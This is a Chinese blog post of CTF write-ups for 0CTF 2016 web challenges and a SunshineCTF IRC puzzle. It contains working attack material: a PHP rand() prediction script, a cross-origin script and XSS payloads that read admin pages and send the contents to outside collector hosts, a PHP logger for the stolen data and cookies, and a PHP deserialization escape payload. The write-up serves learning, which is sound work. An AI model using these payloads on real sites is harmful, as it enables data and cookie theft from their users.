LoRexxar's Blog | 信息技术分享

0ctf2016 && sunshinectf2016 writeup

2016/03/14

上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…

0ctf2016

rand2

题目是队友做的,不是很懂,需要碰撞出随机数,在1mins以内。
先给2个别人的writeup:
http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html
https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2

首先是题目的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
session_destroy();
die('timeout');
} else {
$_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
$_SESSION['rand'] = array();
$i = 5;
$d = '';
while($i--){
$r = (string)rand();
$_SESSION['rand'][] = $r;
$d .= $r;
}
echo md5($d);
} else if (isset($_GET['check'])) {
if ($_GET['check'] === $_SESSION['rand']) {
echo $flag;
} else {
echo 'die';
session_destroy();
}
} else {
show_source(__FILE__);
}

随机数在Keep-live下是可以被预测的。
http://drops.hduisa.cn/archives/365/

预测方法:
state[i] = state[i-3] + state[i-31]
return state[i] >> 1

还有文献:
https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import re
import hashlib
import time

cookie = {"PHPSESSID": "2okdf7k5e637e1fms75t0a1hg4"}
heade = {"Connection": "Keep-Alive"}
#url = "http://127.0.0.1/test.php"
url = "http://202.120.7.202:8888"
url2 = "http://202.120.7.202:8888/?go="

session = requests.session()
def test():
ran_num = []
for i in range(31):
req = session.get(url, cookies=cookie, headers=heade)
cont = req.content
try:
num = re.findall(r'(.+)<code>',cont)[0]
except:
print i
return 0
ran_num.append(int(num))
req = session.get(url2, cookies=cookie, headers=heade)
cont = req.content
ran_num.append(int(cont[1:-32]))
md5_num = cont[-32:-1]
#print md5_num
go_num = []
for x in range(3):
y = 32 + x
tem_num1 = ran_num[y-3]+ran_num[y-31]
bin_num = bin(tem_num1)
tem_num2 = int(bin_num[0:2] + bin_num[3:], 2)
go_num.append([str(tem_num1), str(tem_num2)])
for x in range(2):
e = x + 4
add_list = []
for y in range(2):
tem_num1 = int(go_num[x][y]) + ran_num[e]
bin_num = bin(tem_num1)
tem_num2 = int(bin_num[0:2] + bin_num[3:], 2)
add_list.append(str(tem_num1))
add_list.append(str(tem_num2))
go_num.append(add_list)

print go_num
# for x in range(5):
# req = session.get(url, cookies=cookie, headers=heade)
# cont = req.content
# num = re.findall(r'(.+)<code>',cont)[0]
# print num
for a in go_num[0]:
for b in go_num[1]:
for c in go_num[2]:
for d in go_num[3]:
for e in go_num[4]:
now_num = a + b + c + d + e
now_md5 = hashlib.md5(now_num).hexdigest()
if md5_num == now_md5:
print "yes"
break
x = 32
now_num = ""
# for i in range(5):
# y = x + i
# num1 = ran_num[y - 3] + ran_num[y - 31]
# bin_num = bin(num1)
# #if len(bin_num) >= 32:
# # num2 = num1
# #else:
# num2 = int(bin_num[0:2] + bin_num[3:], 2)


# #now_num += str(num)
# req = session.get(url, cookies=cookie, headers=heade)
# cont = req.content
# num3 = re.findall(r'(.+)<code>',cont)[0]
# ran_num.append(int(num3))
# #print num3, "===>",num2
# print num3, "===>", num1," and " ,num2



def suc():
global ran_num
num5 = ran_num[-5:]
url3 = "http://202.120.7.202:8888/?"

for x in num5:
url3 += "check[]="+str(x) + "&"
req = session.get(url3, cookies=cookie, headers=heade)
print req.content
#print now_md5
#print md5_num
if __name__ == '__main__':
res = test()
# while not res:
# try:
# res = test()
# except:
# res = False
# print "yyy"
# time.sleep(1)
# suc()

队友告诉我说切片切错了,所以没出flag,OrZ…….

Monkey (跨同源策略)

首先是一个md5碰撞,本以为很麻烦,后来发现其实就是相当于验证码类似的东西。

1
2
3
4
5
6
7
8
9
10
11
import random
import hashlib
str = 10000

while 1:
m2 = hashlib.md5()
m2.update(repr(str))
if (m2.hexdigest()[0:6]=='bfb93d'):
print str
break
str+=1

然后尝试通过<img><iframe>读东西,发现由于同源策略怎么都读不到。
看了别人的writeup:

http://www.isecer.com/ctf/0ctf_2016_web_writeup_monkey.html
https://w00tsec.blogspot.jp/2016/03/0ctf-2016-write-up-monkey-web-4.html

知道是通过一些神秘的手段,首先是要通过ajax CORS跨域,然后把域名解析到127.0.0.1,然后记得放在8080端口,在他打开并停留的时候,解析,就可以了Orz(麻麻问我为什么跪着打字)
服务器脚本类似于这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script src="jquery.min.js"></script>
<script>
function getdata(){
$.ajax({
type: "GET",
url:'http://xxx.com:8080/secret',
async: true,
error: function(request) {
getdata();
},
success: function(data) {
$.get('http://yourdomain/get.php?data='+data);
}
});
}
getdata();
</script>
`

guestbook1 (bypass xss filter)

题目完全是被卡住了,是用了两个黑魔法过判断的,复现了很久才成功。主要是看了这篇博客
http://security.szurek.pl/0ctf-2016-guestbook-1-writeup.html

最叼的是这个人通过猜测几乎复现了题目的源码,有兴趣可以去试试。
稍微测试可以发现<>'"被过滤,然后username会被放在id和内容两个地方,text这里有一个关于debug的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<div><h3>to be checked</h3></div>
<script>var debug=false;</script>
<div id="dsadsa">
<h2>dsadsa</h2>
</div>
<div id="text">dsadsa</div>
<script>
data = "dsadsa"
t = document.getElementById("text")
if(debug){
t.innerHTML=data
}else{
t.innerText=data
}
</script>



</body>

有个提示是boss使用的是chrome,本来以为chrome这个是常规环境,其实这里用了一个黑魔法。
关于chrome xss auditor
Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is “rewritten” to a non-executable state in the browser DOM.

或许你英文不好,我也是看的半知半解,上面这话的意思就是chrome会检测你的请求,如果有类似于<script>var debug=false</script>这样的请求,chrome会把这个初始化忽视掉,我们不仅需要忽视这个变量,还需要初始化一下,这里就需要username这里会把传入的值放入id的问题了。

我们需要构造<div id="debug">至于这里为什么构造id就可以初始化debug的问题,也是比较神奇的。

http://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables

没有很看懂,但是,大概明白debug被初始化一个对象,这样可以调用Orz。

前面的问题都解决了,下面就是要构造domxss请求了。

1
2
3
4
5
6
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();'
out = []
for s in payload:
out.append(str(ord(s)))

print "\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode("+", ".join(out)+"))\\u0022\\x3e"

由于单引号和双引号被过滤,所以需要用eval+string.fromCharCode的方式来过请求了。

1
2
3
4
5
6
7
8
Secret:
random_characters_must_be_unique<script>var debug=false;</script>

Username:
debug

Message:
\x3cimg src=a onerror=\u0022eval(String.fromCharCode(120, 109, 108, 104, 116, 116, 112, 61, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 120, 120, 120, 120, 34, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59))\u0022\x3e

这里注意\会被转义,所以要传入\才是一个
先写个脚本生成message(拖个朋友的上来,直接post出去):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/env python
#-*- encoding: utf-8 -*-

import os
import requests
import random
import string

def post(s,u,m):
r = requests.session()
if len(u) < 1:
u = 'debug'
_data = {
"secret":s,
"username":u,
"message":m,
"action":"submit"
}
res = r.post("http://202.120.7.201:8888/message.php", data=_data)
return res.url

def rstr(n=10):
return string.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], n)).replace(' ','')

def m2s(m):
r = ''
for x in m:
r += ','+str(x)
return r[1:]

if __name__ == '__main__':
s = '<script>var debug=false;</script>'
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/show.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://xss.lazysheep.cc",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'
l = m2s(map(ord, payload))
p2 = '\\\\x3cimg src=a onerror=\\\\u0022eval(String.fromCharCode(' + l + '))\\\\u0022\\\\x3e'
print post(rstr()+s, 'debug', p2)

得到了一些东西:

1
<html> <!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder --> <body> <script>var debug=false;</script> <div id=""> <h2></h2> </div> <div id="text"></div> <script> data = "" t = document.getElementById("text") if(debug){ t.innerHTML=data }else{ t.innerText=data } </script> </body> </html>

他是说让我们去检查/admin/server_info.php这个文件。打开看是phpinfo()

因为cookie是http-only的,所以通过js的方式是得不到的,但是可以通过request中是始终存在的。

1
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'

这样就可以得到他的Phpinfo()

1
<td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr>

最后这一步不知道为什么没办法复现,朋友给我了他的php接受方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
$data .= "\r\npost : ".urldecode(urldecode(file_get_contents("php://input")));
$data .= "\r\nip : ".$_SERVER["REMOTE_ADDR"];
$data .= "\r\nREFERER : ".$_SERVER['HTTP_REFERER'];
$data .= "\r\nHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
$data .= "\r\nREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
$data .= "\r\nCookies : ".implode(' ',$_COOKIES);

if(strlen($data)>10){
file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###\r\n".$data."\r\n", FILE_APPEND);
}
exit();

?>

这样就可以接收到get.txt,打开看就get了…

piapiapia(php反序列化逃逸字符)

先给别人的writeup
http://www.isecer.com/ctf/0ctf_2016_web_writeup_piapiapia.html

源码就懒得传了,有兴趣可以问我要,通读一遍发现问题可能出在序列化上面,先看看过滤

1
2
3
4
5
6
7
8
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

感觉问题在update.php上

1
2
3
4
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

有一个有问题的判断是nickname的判断

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

研究了下如果传入的是数组的话,这里的两个判断都能过

正常传入的话,是正常的语句

1
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

序列化室友严格的长度的,如果长度错误,解序列化就是会报错停止。
我们需要试图构造一个nickname[]=xxx";}s:5:"photo";s:10:"config.php这样如果溢出,就能读取config.php的信息。

这里有个问题一直没想明白,看了writeup才知道这里是通过filter里的where->hacker会溢出一个字符,这样如果传入和需要溢出的一样长的where,就会溢出一个完整的请求,就不会报错。

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

get!

guestbook2

writeup还没出,先占坑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
total 100 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .
drwxr-xr-x 22 root root 4096 Mar 9 14:53 ..
drwxr-xr-x 2 root root 4096 Mar 7 14:25 bin
drwxr-xr-x 3 root root 4096 Mar 7 14:26 boot
drwxr-xr-x 15 root root 4100 Mar 13 13:11 dev
drwxr-xr-x 96 root root 4096 Mar 13 13:20 etc
-r--r----- 1 flag flag 29 Mar 9 13:59 flag
-r-sr-x--- 1 flag www-data 8709 Mar 9 14:52 flag_reader
drwxr-xr-x 5 root root 4096 Mar 9 13:59 home
lrwxrwxrwx 1 root root 32 Mar 7 14:26 initrd.img -> boot/initrd.img-4.2.0-30-generic lrwxrwxrwx 1 root root 32 Mar 7 22:07 initrd.img.old -> boot/initrd.img-4.2.0-27-generic drwxr-xr-x 21 root root 4096 Mar 9 00:17 lib
drwxr-xr-x 2 root root 4096 Mar 7 22:07 lib64
drwx------ 2 root root 16384 Mar 7 22:07 lost+found
drwxr-xr-x 3 root root 4096 Mar 7 22:07 media
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt
drwxr-xr-x 2 root root 4096 Feb 18 07:12 opt
dr-xr-xr-x 129 root root 0 Mar 13 13:11 proc
drwx------ 10 root root 4096 Mar 14 07:03 root
drwxr-xr-x 19 root root 720 Mar 14 22:22 run
drwxr-xr-x 2 root root 4096 Mar 7 14:25 sbin
drwxr-xr-x 2 root root 4096 Feb 18 07:12 srv
dr-xr-xr-x 13 root root 0 Mar 13 14:29 sys
drwxrwxrwt 2 root root 4096 Mar 15 13:09 tmp
drwxr-xr-x 10 root root 4096 Mar 7 22:07 usr
drwxr-xr-x 13 root root 4096 Mar 8 23:24 var
lrwxrwxrwx 1 root root 29 Mar 7 14:26 vmlinuz -> boot/vmlinuz-4.2.0-30-generic
lrwxrwxrwx 1 root root 29 Mar 7 22:07 vmlinuz.old -> boot/vmlinuz-4.2.0-27-generic

发现了flag,但是读不了,看到有个flag_reader,跑一下就好。

权限比较高,翻翻别的

1
2
3
4
5
total 20 drwxr-xr-x 5 root root 4096 Mar 9 13:59 . 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 ..
drwxr-xr-x 2 flag flag 4096 Mar 9 13:59 flag
drwxrwx--- 2 root guestbook 4096 Mar 14 06:29 guestbook
drwxr-xr-x 3 ops ops 4096 Mar 7 14:36 ops

gusetbook没东西,看看本目录吧

1
2
3
4
5
6
7
8
9
total 36 drwxr-xr-x 5 root root 4096 Mar 13 14:02 . 
drwxr-xr-x 3 root root 4096 Mar 8 23:23 ..
drw-r-x--- 2 root www-data 4096 Mar 13 14:16 admin
-rw-r-x--- 1 root www-data 193 Mar 6 00:58 config.php
-rw-r-x--- 1 root www-data 1578 Mar 10 11:05 index.php
-rw-r-x--- 1 root www-data 684 Feb 27 23:11 message.php
-rw-r-x--- 1 root www-data 1077 Mar 9 23:03 show.php
drw-r-x--- 2 root www-data 4096 Mar 6 01:12 static
drwx-wx-wx 3 root www-data 4096 Mar 15 13:25 uploads

sunshine ctf2016

感觉挺有意思的一个比赛,是佛罗里达大学举办的ctf,所有的题目不是misc就是pwn,感觉比较坑,但是由于大部分题目比较基础,挺有意思的,尤其是做了一道比较有意思的misc题目。

Floridaman found this cool new invite only internet relay chat service but he can’t figure out how to actually get an invite… since you’re not a part of the Florida education system, maybe you can figure it out. http://4.31.182.246:4567

题意大概是说佛罗里达man想进一个聊天室,但是不知道怎么获得邀请,打开站发现有个地方输入freenode上的频道和密码,那么就输入一个吧,在freenode上进入聊天室发现进来了一个陌生人说

输入!flag 这样的证明自己,稍微测试了一下发现输入会有人私聊你还差多少个字符,开始以为这个地方是类似于截断匹配的,但是后来发现好像不是这样的。

先fuzz一下发现要输入12个字符,然后包括Flagrsd810这几个,然后经过长达1个小时的测试发现,每个字符后面可以跟的字符不同,唯有F是后面可以跟除自己以外的数字,8是一定要放在最后面,发现了一些规律后就测试吧…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
cont = "PRIVMSG #ddog :!flag F" + x
data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
req =requests.post(url, data=data, cookies=cookie)

经过反复的测试可以测试出如果可以把这10个字母按顺序放进去,可是居然还有2个重复的呢,又是一顿fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
cont = "PRIVMSG #ddog :!flag Fl0rdda1sgr8"
data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
req =requests.post(url, data=data, cookies=cookie)

然后发现居然是佛罗里达….mdzz….这就是文化差异啊…..

CATALOG
  1. 1. 0ctf2016
    1. 1.1. rand2
    2. 1.2. Monkey (跨同源策略)
    3. 1.3. guestbook1 (bypass xss filter)
    4. 1.4. piapiapia(php反序列化逃逸字符)
    5. 1.5. guestbook2
  2. 2. sunshine ctf2016